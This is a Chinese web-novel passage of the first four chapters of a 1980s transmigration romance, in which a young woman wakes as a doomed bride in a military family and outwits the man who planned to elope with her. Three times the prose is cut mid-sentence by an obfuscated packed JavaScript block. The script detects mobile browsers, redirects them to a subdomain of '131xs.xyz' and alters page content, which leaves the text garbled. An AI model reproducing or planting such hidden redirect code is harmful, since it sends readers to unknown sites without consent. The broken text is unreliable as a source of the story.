《年代文大佬的漂亮逃妻》 1. 第1章 一九八五年,三月底。 南城求知巷9号,沈家院门前挂着红灯笼,门上还贴了大大的囍字。 晚上九点左右,几个人从院子里走出来,没走出多远,就开始嘀嘀咕咕。 “听说是娃娃亲,女方倒是守信,明知道沈维舟身体不好,也嫁过来了。” “嗐,我倒是听说,那姑娘小时候跟人抱错了,一直养在乡下,前年才认回来的。小姑娘一开始听说能嫁进沈家,高兴得不得了,后头大约是听说了什么,又闹着要退婚。真的,我娘家表姨是他们家邻居,亲口跟我说的。” “难怪一直没见新娘子露脸,敢情是心不甘情不愿。哎,沈家这样的家世,沈维舟又一表人才,要不是身体那样,哪轮得着她嫁进来哟!” …… 几人边蛐蛐着,边快步走远,很快消失在黢黑的长巷尽头。 同一时间,沈家院子东厢,柳绵绵缩在老式架子床一角,崩溃打量着眼前八十年代的卧室。 老式家具,木制脸盆架、牡丹花铁皮热水瓶……要不是脑子里莫名其妙多出来的信息,她都要怀疑是哪个损友趁她睡着,给她弄到年代短剧拍片现场了。 事实是,向来咸鱼的她,偶然加了一次班,结果就心梗猝死了。 死后她既没上天堂,也没下地狱,而是赶上了穿越的潮流,穿进一本年代文,成了里面戏份不多的炮灰女配。 原主也叫柳绵绵,刚出生的时候跟人抱错了,在农村长到十八岁,也就是前年,才刚被亲生父母接回南城。 一开始原主还挺高兴,毕竟这年月农村的日子不好过,何况她亲生父亲还是南城军工厂的车间主任,家里其他人也都是工人,条件比养父母家不知道要好多少倍。 可没过多久,成长环境不同造成的隔阂和矛盾就暴露了。 亲生父母对她的言行总是看不惯,觉得她粗俗不堪,让他们在大院邻居面前丢脸。哥嫂也差不多,不冷不热的,嘴上不说,眼神中总透露几分嫌弃。 父母时常挂在嘴边的一句话就是:你不懂,就多学学锦诗。 柳锦诗就是那个跟原主抱错的女孩,据说品学兼优,才貌双全,是柳家的骄傲。 去年年中柳锦诗通过军工厂内部招考,进了宣传科。 宣传科干事是干部身份,比当工人还要有面子,对比原主,更是一个像珍珠一个像死鱼眼睛。 原主倒是一心想获得亲生父母的认可,学柳锦诗穿衣打扮、说话做事,学了一阵之后,大院里那些混小子就追着她喊“东施效颦”。 就在原主日子越过越糟心的时候,沈家上门了。 在知道自己有这么一门家世显赫的娃娃亲后,原主忙不迭地就答应了。 只是婚礼前不久,她从家属院一个叫朱永齐的混子口中得知,她的结婚对象、沈老首长的大孙子沈维舟,根本不是什么身体不太好,而是已经病入膏肓了。沈家娶亲是为了“冲喜”,她父母默认将她嫁过去,是为了攀上沈家这门亲。 原主对亲生父母彻底失望,闹着要退婚,朱永齐却劝她不要闹,还给她出了个馊主意。 朱永齐长得不错,又很能甜言蜜语,把一直遭受周围人贬低、嫌弃的原主哄得死心塌地。他撺掇原主先嫁进沈家,想办法从沈家弄点钱,他们再一起私奔去南方做生意挣大钱。 朱永齐还说,沈家人财两失,肯定不会和柳家善罢甘休,这样既能报复她冷漠无情的父母,又能为他们的未来攒下一些本金,一举两得。 原主还真听进去了,嫁进沈家后没几天就卷了钱财跟朱永齐私奔了。 不过朱永齐可不是什么好东西。 到南方以后,他哄着原主花光了所有钱,扭头就把她卖给了人贩子。原主最后是在一个偏远小山村,被买了她的老光棍活活打死的。 今天就是原主嫁入沈家的日子,她心里不痛快,一整天没个好脸色,更是早早就进新房蒙头睡觉。 结果这一睡就睡死了过去,是字面意义的睡死了,再醒过来,就是穿来的柳绵绵了。 爹不疼娘不爱,丈夫是个病入膏肓的,情夫更是个人渣——倒霉成什么样子,才会轮上这样的天崩开局?! 正自怨自艾,静谧的空间里突然响起几声压抑的咳嗽,柳绵绵吓得差点蹦起来,缓了下才反应过来,小心翼翼看向床上那个棉被鼓包。 原主睡下的时候,屋里并没有其他人,不过不用想也知道,这鼓包里除了沈维舟,还能是谁? 柳绵绵警惕地看着鼓包,沈维舟要是这时候醒过来拉她过新婚之夜什么的,她怕自己会忍不住揍他……到时候病入膏肓直接变成一命呜呼就不好了。 所幸沈维舟咳嗽了几声后,没再发出其他动静。 想到新婚之夜,柳绵绵忽然又想起个事情。 原主这个奇葩,她抱着坑沈家的目的嫁进来,当然也没准备和沈维舟发生什么实质关系。她不但不准备和沈维舟发生关系,她还准备新婚之夜出去跟朱永齐幽会,俩人约好了今晚在巷子的一个角落碰面。 新婚夜幽会情夫,玩得还挺花。 柳绵绵看了眼五斗柜上的老式台钟,差不多到原主和朱永齐约定的时间了。 回忆了下原书后面的剧情,柳绵绵在“随便人渣干嘛,最好去死”和“主动出击,给人渣找点麻烦”之间犹豫了下,决定还是主动出击。 她不可能跟人渣去私奔,也不可能刚结婚就离婚回家,何况那个家也没什么好回的。 也就是说,目前看,她最好的选择是想办法先在沈家苟一段时间。 而朱永齐,就是她安生在沈家苟着的最大阻力。 柳绵绵执行力还是很强的,决定了马上就付诸行动。 她先观察了下那个棉被鼓包,确定沈维舟睡得挺沉,于是轻手轻脚挪到床尾,又判断了下沈维舟脚的位置,踩着棉被边角的地方飞快溜下—— 溜不动,脚踩到了什么,一只脚已经落在地上,一只脚还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710745|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡在棉被里,艰难地劈了个叉。 柳绵绵顿时心头一阵狂跳。 好容易把卡住的脚从棉被里拯救出来,柳绵绵暗暗松口气,这回是真飞快地溜下了床。 只是没等她抬脚往外走,手臂突然被拽住,冰凉的触感激得她浑身一哆嗦,忍不住“啊”地尖叫了声,尖叫完她才反应过来,是沈维舟。 沈维舟不知什么时候已经坐了起来,灯光落在他苍白瘦削的侧脸,让五官更显立体,鼻梁高挺,眼眸深邃,轮廓线条也无比优越……像文艺片里俊美忧郁的男主角。 唯一就是眼神凶了一点,冰冷,犀利,甚至带了几分杀气。被他看一眼,莫名就有点头皮发麻后背发凉,有种被什么凶禽猛兽盯上的错觉。 肯定是错觉,他都病入膏肓了。 柳绵绵决定先发制人:“你干嘛?” 沈维舟冷着脸,黑沉的眼眸盯着柳绵绵看了一会儿,放开她,反问:“你做什么去?” 明明什么也没干,柳绵绵却莫名心虚,胡乱找了个借口:“我饿了,想去找点吃的。” 沈维舟深深看了她一眼,没再说什么,往床头一靠,垂下了眼眸,柳绵绵赶紧就溜了。 “吱呀”一声门阖上,屋里安静了下来。 沈维舟抬头看了眼阖上的门,又看了眼屋子里的陈设,神情一时有些怔忪。 上辈子柳绵绵私奔后,母亲跑去柳家大闹一场,回程时出了车祸,在医院抢救一天一夜,出手术室后仍旧昏迷不醒。 他急火攻心,激怒忧心之下病情恶化,没等母亲醒来,自己先病死了。 离奇的是,死后他在另一个世界重生,那个世界到处都是变异的怪物和丧尸。 他的脑海中还出现了一个代号“009”的系统,每天给他发布各种各样的生存任务,每完成一个任务,据说都能提升他的生命值。 每天睁开眼睛就是逃亡、搏斗、杀戮,直到有一天,系统告诉他,所有任务圆满完成,生命值攒够了,他可以回自己的世界了。 再次睁开眼,他果然回到了华国的家里。 久违的,平静,宁和,没有怪物和丧尸,没有血腥与厮杀的世界。 并且是,一切都还没发生的新婚之夜。 新婚之夜。 沈维舟忽然嘲讽地笑了下。 上辈子新婚之夜,他半夜咳醒,柳绵绵根本就没在房间里。他身体不舒服,醒来后就没再睡着,知道柳绵绵是天蒙蒙亮才回来的。 那时候他以为柳绵绵是不想和他同房,故意避去了客房,后来柳绵绵私奔,巷子里风言风语,有人说新婚夜曾看见她在外面跟野男人私会。 说什么饿了找吃的,是想溜出去见那个男人吧? 沈维舟并不打算阻止她,至少,结婚第一天他不想闹起来,让为婚宴忙碌了大半个月的父母担忧闹心。 几分钟后,外面突然传来一阵“乓啷乓啷”的响声,同时响起的,还有女人压抑的尖叫。 2. 第2章 柳绵绵出东厢后,倒也没做什么,就是去厨房拿了今天待客剩下的桂圆茶汤,乓啷乓啷扔在院子里的地上,再压着嗓子尖叫了几声。 等家里人都从屋里出来,她又发挥毕生演技,慌慌张张地冲他们说:“我刚刚听见外头有声音,好奇扒门缝看了一眼,外面有人鬼鬼祟祟地跑过去,吓死我了。” 除了沈伯康、俞婉夫妻、沈维舟、沈维云兄妹,这院子里还住着保姆刘婶和她丈夫王叔。 王叔打开院门左右看看,大红灯笼随风晃动,巷子里空荡荡的,哪有人影? 柳绵绵指了个方向:“往那边跑了。”又抖抖索索地嘟囔:“年前我们大院就进过贼,把几户人家屋里翻了个遍,居然也没被发现,走廊上衣服扔得满地都是,我早晨起来看见,差点没吓死。” 刘婶爱跟左邻右舍凑一起聊八卦,闻言想起前阵子听说的事,惊惧道:“这年头的人真是要钱不要命,听说年初黑省下头一个县城,抢银行的杀了三个职工,尸体都被烧焦了哦。” 柳绵绵说小偷,她一下子联想到抢劫去了。 俞婉:“哦哟,刘嫂子你别说了,大晚上的,别给孩子们吓着了。” 不管是不是小偷,大晚上有人在巷子里鬼鬼祟祟出没,总归还是要去看看的。沈伯康带着王叔出门,准备找左邻右舍一起在巷子里转转。 柳绵绵看见王叔拿了根一手粗的棍子,差点没忍住笑出来。 王叔最好能拿这根棍子狠狠揍朱永齐那个人渣一顿。 两个男人出了门,家里就只剩妇孺病弱了,刘婶赶忙把院门闩上,问柳绵绵:“柳姑娘是不是饿了,我给你煮碗面吧?给维舟炖的鸡汤还剩一点,煮面条很好吃的。” 柳绵绵维持原主难搞的人设,下巴微抬:“我不饿。”说完转身就往东厢走,一副“懒得搭理你们这些人”的样子。 没走出两步,就听见身后沈维云的声音:“妈,你看这个女人,刘婶明明是好心!好心当驴肝肺!” “你这孩子,什么这个女人那个女人,她是你嫂子!” “她才不是我嫂子!你看她像是来跟我哥结婚的吗,我瞧着,她倒是更像讨债的。咱们家又不欠她的,两千块彩礼钱呢,还害哥哥被人说闲话,我今天都听见了!” 平均工资才几十块钱的八十年代,沈家竟然出了两千块钱彩礼? 原本柳绵绵还觉得沈家这事做得不地道,仗着有权有势,忽悠十七八岁的小姑娘嫁给病入膏肓的沈维舟。可其实仔细想想,原主这也算是拿着天价聘金嫁入豪门了,只要手里有钱,哪怕沈维舟过阵子就一命呜呼,她也照样能过好日子。起码,比在亲爹妈家日子要舒坦。 等一下,两千块钱? 原主手里根本没有这么多钱。 到底是沈维云胡说八道,还是原主的亲生父母收了钱没让原主知道? 柳绵绵不是原主,对亲生父母没什么滤镜,客观来看,她觉得后者的可能性更大。这件事她回头肯定要弄清楚,现在她实在是困了,还是先睡觉吧。 房间里依然亮着台灯,沈维舟已经重新躺下,又鼓成了一个包。 跟陌生男人同床共枕,柳绵绵其实挺不习惯的,可她总不能坐椅子上睡吧,何况也不是一天两天。 纠结了下,柳绵绵还是轻手轻脚地走了过去,脱鞋,上床,尽可能蹭着床脚进去。 这回运气好,没踩到沈维舟,结结实实地踩在了床板上。 可没等柳绵绵松口气,沈维舟突然翻了个身,柳绵绵刚抬起的那只脚,眼看要踩在沈维舟身上,她赶紧缩回来,结果身体不稳,整个人一下子摔趴在了被子上。 柳绵绵:“……” 没敢看沈维舟,她手忙脚乱地爬到里面,扯过另一条被子,给自己卷成了另一个鼓包。 没事,只要我不尴尬,尴尬的就是别人。 随遇而安是咸鱼的本能,既然穿越已成事实,柳绵绵也没多纠结,眼睛一闭就是睡。 两个人、两床被子,把一米五左右宽的架子床塞得满满登登,被窝因此也特别暖和,没多久柳绵绵就热得把手脚都伸出了被子。一个转身,啪地,手臂打在了沈维舟的脑袋上。 睡不着正闭目养神的沈维舟:“……” 坐起来,厌恶地看向里侧的女人。 被子踢成了一团,她大半个身体都在外面,身体不但压着自己的被子,还压住了他的被角,睡得简直张牙舞爪。 沈维舟眉头皱得死紧,半晌,拎着柳绵绵的手,将人翻了个面儿。 没事,怪物或丧尸在旁边他也一样睡觉,何况个女人? * 柳绵绵做了个梦,梦见自己徒步爬火山,费了九牛二虎的力气,终于爬到了火山口,结果火山上下起了冰雨,于是冰火两重天,她半边身体被火山烤得灼热无比,半边身体浸在冰雨里,冷得直打哆嗦。 睁开眼才发现自己只盖了一半的被子,半边身体露在外面,冻得冰凉。 沈维舟已经起床了,被子叠得方方正正放在角落里。 柳绵绵默默叹了口气,这种只拥有二分之一张床使用权的日子,也不知道还要过多久。 倒也不是她盼着沈维舟死,而是以沈家的人脉,能治好肯定早治好了,现在这么拖着,肯定是没办法了。 毕竟原书里沈维舟也确实没过多久就病死了。 能怎么办,先忍忍吧。 柳绵绵爬起来,看一眼沈维舟那条被子,再看一眼自己叠的,皱皱巴巴,歪七扭八,对比简直堪称惨烈。 算了,叠再好又不会睡得更舒服。 拎出放在角落里的皮箱,柳绵绵挑挑拣拣了一番,挑出一条浅灰色的裤子和同色系的上衣,外套仍旧是原主昨天穿的那件枣红色廓形西装。 新打的三门衣柜上嵌着镜子,镜子里面的人跟她上辈子有八、九分相像,只是更年轻一点,更瘦一点,眉头习惯性微微蹙着,脾气不太好的样子。 柳绵绵挑了挑眉,镜子里人神情一下子灵活了起来。 这个年代的西装都会做垫肩,所幸她身上这件垫肩不厚,看着并不怪异,反倒显得很大气。裤子和内搭的质感也很好,柳绵绵抓了抓睡得乱七八糟的过肩长发,心说只要再抹个口红,妥妥就是一个复古港风美女了。 换下来的棉布睡衣,还有原主昨天穿过的粉色衬衣、藏青长裤,柳绵绵都收在一起卷了卷,抓着这个衣服卷,她拉开了门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710746|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门一打开,就看见刘婶拿着扫把站在门外,柳绵绵吓了一跳,有些莫名其妙:“做什么?” 刘婶反应也是很快,抓着扫把胡乱在地上划拉了两下,不太理直气壮地说:“我扫地呢。” 柳绵绵看着她没说话。 刘婶干笑了下,说:“昨天夜里他们抓到个贼头贼脑的小伙子,给人送派出所去了,那人嚷嚷着自己不是贼,还说跟你认识,是过来找你的。派出所那边说了,让你今天过去一趟哦。” 哦,是朱永齐那个人渣被逮到了。 刘婶这是怕她睡晚了,耽误去派出所吧? 不过,柳绵绵面上还是一副惊讶疑惑的样子:“怎么会,我在南城没认识几个人的,再说,要真是来找我,怎么不来家里敲门,鬼鬼祟祟跑过去干嘛?” 刘婶:“哦哟,可不是,我就说哪有大小伙子夜里来找新嫁娘的,这不是胡说八道嘛。不过,派出所那边还是要去一下的哦。” 柳绵绵笑了下:“刘婶,你还挺拎得清的嘛。” 刘婶看上去没有一开始那么局促了,笑呵呵说:“那还是拎得清的哟。”甚至还夸起了柳绵绵:“柳姑娘,你今天这一身好洋气的,跟电视上的时髦女郎一样。” 柳绵绵莞尔:“我去烫个卷发,会更洋气。” “让俞主任带你去,俞主任认识原先工人路上那个老师傅,手艺老好哦。”刘婶夸了一通那个据说建国前在沪市混过的老师傅,扭头往餐厅的方向看了眼,声音立马扬了上去,“维舟,快来看你媳妇,是不是跟电影明星似的?” 柳绵绵抬眼看去,沈维舟不知什么时候站在了餐厅门外的桂花树下,正用他那一双漆黑深邃的、文艺片男主角的眼睛打量着她。 昨夜躺在床上还不觉得,现在看,沈维舟真是又高又瘦。他穿了一件浅灰色的毛衣,大概是骨相好,虽然瘦,但看着并不显病态,有种超越年代的矜贵气质。 柳绵绵暗自啧啧两声,她实在搞不懂,原主是有什么想不开,跑去跟人渣私奔,沈维舟虽然活不久,但他长得帅啊! 沈维舟并没有应和刘婶,一言不发回了房。 刘婶有些尴尬,柳绵绵感觉她可能怕自己又发脾气,语气里都带上了几分小心翼翼:“他性格就这样,不爱说话……这是要洗的衣服么,给我给我,早饭在桌上,你看看,要不喜欢吃,我给你做别的。” 早饭应该是外面买来的,豆香味很浓的豆浆,袖珍玲珑的小笼包,有点软塌了的油条,同样有点软塌了的烧饼,还有茶叶蛋。 柳绵绵喝了一大碗豆浆,吃了一根油条、六个小笼包和一个茶叶蛋。 换了穿越前,这么多东西她能吃两顿,柳绵绵摸摸肚子,现在她居然都没觉得撑。 吃完饭,柳绵绵准备去派出所,临出门前想起来:“对了,昨晚抓到贼的时候揍他了么?” 刘婶坐在小板凳上洗衣服,闻言乐道:“嗐,他要不跑,肯定不会揍他,顶多问两句,他见人就跑,可不就得挨揍?要不是他想跑,也不会给他摁派出所去呀你说是不是?” 回忆了下王叔当时拿的棍子,柳绵绵非常欣慰:“那就好。” 渣男若安好,世界还得了? 3. 第3章 求知巷这一片都是大大小小的四合院,青砖黛瓦马头墙,非常有味道。 巷子外头就是南城第二热闹的街芷江路。第一热闹的是烫头老师傅所在的工人路。芷江路再往南,就是半抱南城的母亲河芷江。 柳绵绵站在巷子口,看着阳光下热闹的街道。 路上汽车很少,人们大多骑着自行车或者步行,身上衣服以蓝色、青色、黑白灰色为主,偶尔有几个衣服鲜亮的,就显得非常出挑。 比如她。 巷子口有一家国营饭店,窗户特别大,靠窗一张桌子上列队似的摆着一个个放好了调料和榨菜紫菜碎的碗,有人过来,穿白色工服的服务员就从桶里舀了豆浆冲上。 另一侧的大白墙上,刷着“节约粮食,从我做起”的红色标语。 一切看上去都既然朴素又充满了年代感。 等到了派出所,见到身穿橄榄绿“83”式制服的公安,这种感觉就更明显了。 “嫌疑人叫朱永齐,他自己的说法是,跟你是邻居,平时也挺熟悉的,他凑热闹去了求知巷,本来想找你说两句话,恭喜一下,没想到会被人误认作小偷。” 接待柳绵绵的公安三十岁左右,浓眉大眼,国字脸,非常正气凛然的长相。他打量柳绵绵一眼,问:“他说的属实吗?” 柳绵绵一脸惊讶:“原来是朱永齐啊!人我倒是认识,我们住一个大院的嘛。可是我跟他不熟的,我去年才被认回来,跟大院里的人都算不上太熟的。” 她疑惑问:“再说,那时候都多晚啦,他跑来恭喜我,这不是脑壳坏掉了吗?” 公安抬头看了她一眼:“是你先发现巷子里有可疑人员的?” 柳绵绵点头:“我饿了想去找东西吃,听见外面有声音,就好奇扒门缝看了一眼,看见有个人,头发大概比我短一点吧。”在肩膀的位置比了比,继续说:“沿着墙角跑过去了,那样子,我感觉不是好人。” 她又说起年前大院进贼的事:“我早晨起来洗漱,看见走廊上衣服扔了满地,那场面,吓死人了。宁可信其有,不可信其无嘛,我公公他们也就是去巷子里看看,没想到啊,真能抓到人。” 公安又抬头看了她一眼,微蹙眉头,若有所思问:“你说那个人是长头发?” 柳绵绵点点头,真诚表达了疑惑:“那个人应该不是朱永齐,怎么最后抓到的是朱永齐?” 公安没接这话,唰唰写好笔录,将记录纸递给她:“看一下,没问题的话签个字。” 等柳绵绵签好,公安挥挥手:“你可以回去了。” 柳绵绵笑笑:“谢谢公安同志。” 刚走出办公室,迎面就见一个年轻公安带着个人走过来,那人一张脸青紫中带着肿,五官都有点变形了。 柳绵绵正奇怪,这人看着怎么有点眼熟,还没来得及展开联想,对方已经冲了过来:“绵绵,你可算来了,你帮我跟公安解释了吗,我现在是不是可以回家了?” 哟,知道了,原来是渣男。 柳绵绵往后退了一大步,表情夸张:“丑八怪,你谁啊?” “朱永齐,我是朱永齐啊!”朱永齐那样子,跟逃荒乞讨半年终于遇见了亲人似的。 柳绵绵站那儿,上下打量了鼻青脸肿的渣男几眼。 嘶,不怪她一下没认出来,原主记忆中的朱永齐,勉强还能算是个帅哥,而眼前这位,说一句丑八怪真没冤枉他。 真惨呐! 给王叔点赞。 她看着朱永齐,表情惊讶中带了些许无奈:“原来是你啊,朱大哥。咱们邻里邻居的,我出于礼貌喊你一声朱大哥,可其实咱们也没多熟吧,你居然跟公安同志说,去求知巷是找我的,你这谎也撒得太离谱了吧?” 柳绵绵没给朱永齐反应的机会,接着说:“大晚上的,你一个大老爷们儿,来找我一个刚结婚的小媳妇儿,你这哪是要恭喜我,你这分明是要往我身上泼脏水啊!” 叹了口气,她真诚劝说道:“朱大哥,坦白从宽,抗拒从严,你要真有事,就老实交代,要没做亏心事,就别怕,相信公安同志肯定会还你清白的。” 柳绵绵叭叭叭一通输出,朱永齐的表情从茫然、震惊转而渐渐扭曲。 他阴沉着脸,咬牙反问:“柳绵绵,你这是要过河拆桥?!你要这样,可别怪我不客气!” 柳绵绵看向旁边的公安:“同志,他污蔑不成,公然威胁。” 沉默看戏的年轻公安被拉入战局,扫了俩人一眼,一推朱永齐,呵斥:“你给我老实点!” 被公安推进旁边一间屋子之前,朱永齐扭头狠狠瞪了柳绵绵一眼,柳绵绵挑了挑眉,说:“哦哟,你这么瞪我做什么,做人要讲良心的,我是不可能帮着你撒谎的嘛。” 南城人说话软软的,还喜欢带语气词,这个特点在刘婶身上尤其明显,柳绵绵发现,这个时候用这种语气说话,简直自带阴阳怪气的效果。 看朱永齐更加扭曲丑陋的脸就知道,他已经快被气死了。 哈哈! 走出派出所,柳绵绵在附近转悠了会儿。 据说这是个猪站在风口都能起飞的年代,只是她现在兜里统共才九十八块两毛钱,这点钱,好像干什么都不够啊? 不到一百块钱的“存款”,让身处陌生时代的柳绵绵非常的没有安全感。什么朱永齐,什么沈维舟,都不重要,现在最重要的是挣钱! 转悠一圈,柳绵绵心里稍微有了点谱,溜达着回了求知巷。 “哦哟,昨天夜里真有贼呢!”刘婶边洗菜边说,“隔壁帽儿胡同有户人家,也是昨天办的喜酒。哦,其实不止他们家,昨天日子大,咱们这一片好几户人家都办喜事呢。” 顿了下,刘婶又说回到帽儿胡同那家人:“他家在家摆的酒席,自家一个院子,借了隔壁一个院子,吃吃喝喝的,闹腾到九点多。正好,咱们这边不是抓贼嘛,他们那边听说了,他家那个新娘子也是精的哦,跑屋里去开了箱子点嫁妆。” 刘婶语气逐渐夸张:“你猜怎么的,箱子里的金银首饰都不见了哦!” 柳绵绵坐那儿嗑瓜子,听到这里马上捧场惊呼:“哎呀,那损失可太大了!” “可不是!听说她娘家收了彩礼,一分钱没留,都买了金银首饰给她带着了,加上婆家给的三金一银,真是不少的哦!”刘婶叹息。 南城风俗,男方如果条件好,聘礼会给“三金一银”,即金项链、金耳环、金戒指和银手镯,条件差的就另说。 柳绵绵穿越前,实物黄金价格已经飙升至上千元每克,按这个价格,这位新娘子丢失的首饰价值没准上六位数了。 放在五十年后,也是一笔很大的损失,更别说这时候了。 原书里,新娘子是在半个月后才发现首饰不见了的,虽然马上报了警,可中间隔了太长时间,她自己也搞不清东西究竟是什么时候丢的,最后自然也没能找回来。 因为这件事,婆家对她很不满,认为是她没有保管好东西。之后不久,小叔子上夜班回家路上遇上抢劫,被人捅了三刀,送医院没救回来。这件事本来跟她没什么关系,可她婆婆却认为,是因为她弄丢金银首饰,又报了案,闹得沸沸扬扬露了财,抢劫的才会盯上小儿子。家庭矛盾于是更加激化。 新娘子在一年多后难产而死。 而那些金银首饰,被小偷藏在一个隐秘的地方,后来辗转落入原书女主手里,成为她攫取第一桶金的本钱。 多年后,原书女主成为南城有名的富豪,出资赞助贫困学生,其中就有这位新娘子难产生下的女儿。 “也不知道公安能不能把东西找回来,要是找不回来,这姑娘以后在婆家日子可不好过哟。”刘婶叹息。 柳绵绵被打断思绪,心说自己已经给公安透露了重要线索, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710747|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想来这次应该能找回东西……实在不行,她过几天再去提供点线索嘛。 她安慰刘婶:“这种小案子,相信公安很快就能破案的。” 有了一起聊八卦的情谊,刘婶对柳绵绵的印象更加改观,哪怕她一边嗑着瓜子一边对木盆里的菜挑三拣四,一会儿嫌弃这个菜不够嫩,一会儿嫌弃这个菜口感有点苦,刘婶也是笑眯眯地:“今天去晚了,掐尖的那些早被人抢光啦,我明天早点去,保准能抢到好的。” 柳绵绵摸摸鼻子,没再吭声。 为什么买菜晚了,还不是为了守在门口提醒她去派出所。 中午其他人不回家,午饭只有柳绵绵、沈维舟和刘婶三个人。沈维舟一直待在书房里没出来,刘婶端了煮好的面条进去,出来后又是欣慰又是担忧:“维舟今天精神头蛮不错的哦,不过,整天鼓捣那些东西,也太费神了。柳姑娘你是不知道哦,维舟从小就聪明得不得了……” 刘婶举了一堆例子,什么其他孩子还在玩泥巴,他已经会看那种深奥得不得了的书,什么考试从来只考第一连第二名都没考过,什么高考卷子都没做完却还是考上了清大……柳绵绵却想到了慧极必伤四个字。 沈维舟这配置,但凡换个小说题材,都该是病娇男主,只可惜原书是个大女主年代文,沈维舟成了早死的白月光炮灰。 吃完饭柳绵绵回房睡了个午觉。 沈维舟一直没出现,她终于拥有了床百分百的使用权,这一觉不知道睡得多香。 睡醒后柳绵绵跟刘婶说了声,就又出门了。 芷江路南面有几栋洋房,其中一栋铁艺大门上爬满了常青藤,绿叶掩映中,露出金色的招牌:芷江西餐厅。 大门左侧墙上挂了一块黑板,黑板上几行清雅的字体,写着今日推荐菜色,底下随意画了一条波浪线,波浪线下一行小字:招聘钢琴师,可兼职,薪水从优。 听说这家餐厅的老板是港商林家的二小姐。 林家投资建设芷江大桥,又捐了图书馆给南城大学,在南城名声很是不错。 坊间传闻——其实是刘婶说的,说这位二小姐参加过选美比赛,得过港姐第二名,受不了成天胡编乱造的港城狗仔,所以更喜欢待在南城。 连港姐、狗仔都知道,求知巷老太太们的八卦能力真是不容小觑。 这个时间餐厅里没有客人,餐厅经理是个四十多岁的中年男人,普通话说得怪腔怪调,不过好歹能交流。 聊了几句后,经理请柳绵绵现场弹奏,柳绵绵随便弹了两段,经理表情意外:“柳小姐人又这么靓,琴又弹这么好,好犀利的啦!” 随后两人谈起薪资待遇:“每天工作五个钟头,每周休息一天,月薪两百,柳小姐薪水比南城大部分人都高啦。” “饭点不能吃饭,连续不停弹几小时的琴,这份工作其实也很辛苦的啊!”柳绵绵摇头,“我希望月薪不低于三百八十元。” 经理错愕道:“柳小姐,你不是在开玩笑吧,南城平均工资才多少!” 柳绵绵笑眯眯:“往前推十年,弹钢琴、吃西餐还是小资产阶级情调,是要被批判的。可想而知,南城会弹钢琴的人能有多少?而这些人,大部分都有本职工作,不是在艺术学院当老师,就是在文工团、剧团,他们哪有时间给餐厅弹琴?” 要不是一直招不到人,餐厅怎么会写“可兼职,薪水从优”? 经理无语:“钢琴师不是必须的,我们也可以先不招。” “也对。”柳绵绵笑了下,“不过,那餐厅就缺了点林二小姐想要的格调了。” 看经理被噎得半天说不出话,柳绵绵就知道自己猜对了。 经理沉默几秒后,摇头失笑:“柳小姐,你一点都不像南城人,南城人都没有像你这么会谈薪水的啦!” “陈经理过奖啦!”柳绵绵笑得很开心,主动伸出手,“那,合作愉快?” 4. 第4章 巷子口国营饭店隔壁,是一家老字号的糕饼店。糕饼店最近从沪市请了一位西点师傅,奶油面包做得又松软又香甜,每天下午面包出炉,糕饼店门口都排长队。 顺利拿下高薪工作,柳绵绵心情很不错,口袋里的九十八块二毛也不用再抠抠搜搜,于是乐呵呵地去排队买了三个面包。 柳绵绵其实也没想到能这么顺利。 三百八十元是给餐厅经理留了讨价还价的余地的,哪想人家港城人财大气粗,抱怨了两句,却根本没还价。 平均月工资才几十元的年代,她每个月挣三百八十元,妥妥的高收入了。刨除那些个体户,整个南城工资比她高的,怕是都很少。 拎着牛皮纸袋往求知巷9号走,遇见几个放学的小学生,小家伙们夸张地吸了吸鼻子,叽叽哇哇地就嚷嚷上了。 “9号院的倒霉媳妇买了奶油面包!” “买了一大袋!” “快快快,我们也回家拿钱排队去!” …… 一阵踢踢踏踏的脚步声,小家伙们各自钻进了自家院子,很快,几个院子分别传出或欢呼或哭闹的声音,想来是有人欢乐有人要挨揍了。 柳绵绵:“……” 究竟是哪个不要脸的背后蛐蛐她是倒霉媳妇。 走到9号院门口,柳绵绵听见里面有人在说话:“……小沈身体是不好,可他一表人才,学历又高,家世也好,不说挑个门当户对的大学生,挑个有正式工作的城里人还是容易的呀。现在这个嘛,又没文凭又没工作,还是乡下长大的,听说脾气还不好?哦哟,我是真替小沈可惜呀!” 柳绵绵忍不住翻了个白眼。 原主是在乡下长大,可好歹高中是混毕业了的,在这个年代,学历也不算低了。 再说,沈维舟那只是身体不好吗,他都生命倒计时了。 再再说,不是沈家找上门想娶亲“冲喜”吗,这人怎么还替沈维舟可惜起来了。 柳绵绵又听见刘婶的声音:“你听谁说的呀,我看柳姑娘人蛮好的,长得漂亮,高中生,学历也不低了,脾气是有一点,也还好的,小姑娘嘛,哪个没有点小脾气的?” 